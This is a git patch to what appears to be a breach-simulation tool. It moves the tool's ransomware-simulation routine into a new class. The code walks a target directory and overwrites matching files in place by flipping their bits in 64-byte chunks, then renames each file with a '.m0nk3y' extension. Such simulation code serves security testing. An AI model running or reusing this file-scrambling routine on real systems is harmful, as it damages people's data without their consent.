From ab40518881f85b5a2f7d0ac3ba8c38300b34cba7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Jun 2021 08:56:12 -0400 Subject: [PATCH] agent: Extract bitflip encryption into its own class --- .../ransomware_bitflip_encryptor.py | 32 +++++++++++++++++++ .../ransomware/ransomware_payload.py | 28 ++-------------- 2 files changed, 35 insertions(+), 25 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py diff --git a/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py new file mode 100644 index 000000000..672633d1d --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_bitflip_encryptor.py @@ -0,0 +1,32 @@ +from pathlib import Path +from typing import List + +from infection_monkey.utils import bit_manipulators + + +class RansomwareBitflipEncryptor: + def __init__(self, new_file_extension, chunk_size=64): + self._new_file_extension = new_file_extension + self._chunk_size = chunk_size + + def _add_extension(self, filepath: Path): + new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") + filepath.rename(new_filepath) + + def encrypt_files(self, file_list: List[Path]): + for filepath in file_list: + self._encrypt_single_file_in_place(filepath) + self._add_extension(filepath) + + def _encrypt_single_file_in_place(self, filepath: Path): + with open(filepath, "rb+") as f: + data = f.read(self._chunk_size) + while data: + num_bytes_read = len(data) + + encrypted_data = bit_manipulators.flip_bits(data) + + f.seek(-num_bytes_read, 1) + f.write(encrypted_data) + + data = f.read(self._chunk_size) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 49478974b..a1c9aceff 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,8 +1,8 @@ import logging from pathlib import Path +from infection_monkey.ransomware.ransomware_bitflip_encryptor import RansomwareBitflipEncryptor from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils import bit_manipulators from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -14,7 +14,6 @@ from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) -CHUNK_SIZE = 64 EXTENSION = ".m0nk3y" @@ -26,10 +25,11 @@ class RansomewarePayload: self._target_dir = config["windows_dir"] if is_windows_os() else config["linux_dir"] self._valid_file_extensions_for_encryption = VALID_FILE_EXTENSIONS_FOR_ENCRYPTION.copy() self._valid_file_extensions_for_encryption.discard(EXTENSION) + self._encryptor = RansomwareBitflipEncryptor(EXTENSION) def run_payload(self): file_list = self._find_files() - self._encrypt_files(file_list) + self._encryptor.encrypt_files(file_list) def _find_files(self): if not self._target_dir: @@ -43,25 +43,3 @@ class RansomewarePayload: all_files = get_all_regular_files_in_directory(Path(self._target_dir)) return filter_files(all_files, file_filters) - - def _encrypt_files(self, file_list): - for filepath in file_list: - self._encrypt_file(filepath) - self._add_extension(filepath) - - def _encrypt_file(self, filepath): - with open(filepath, "rb+") as f: - data = f.read(CHUNK_SIZE) - while data: - num_bytes_read = len(data) - - encrypted_data = bit_manipulators.flip_bits(data) - - f.seek(-num_bytes_read, 1) - f.write(encrypted_data) - - data = f.read(CHUNK_SIZE) - - def _add_extension(self, filepath: Path): - new_filepath = filepath.with_suffix(f"{filepath.suffix}{EXTENSION}") - filepath.rename(new_filepath)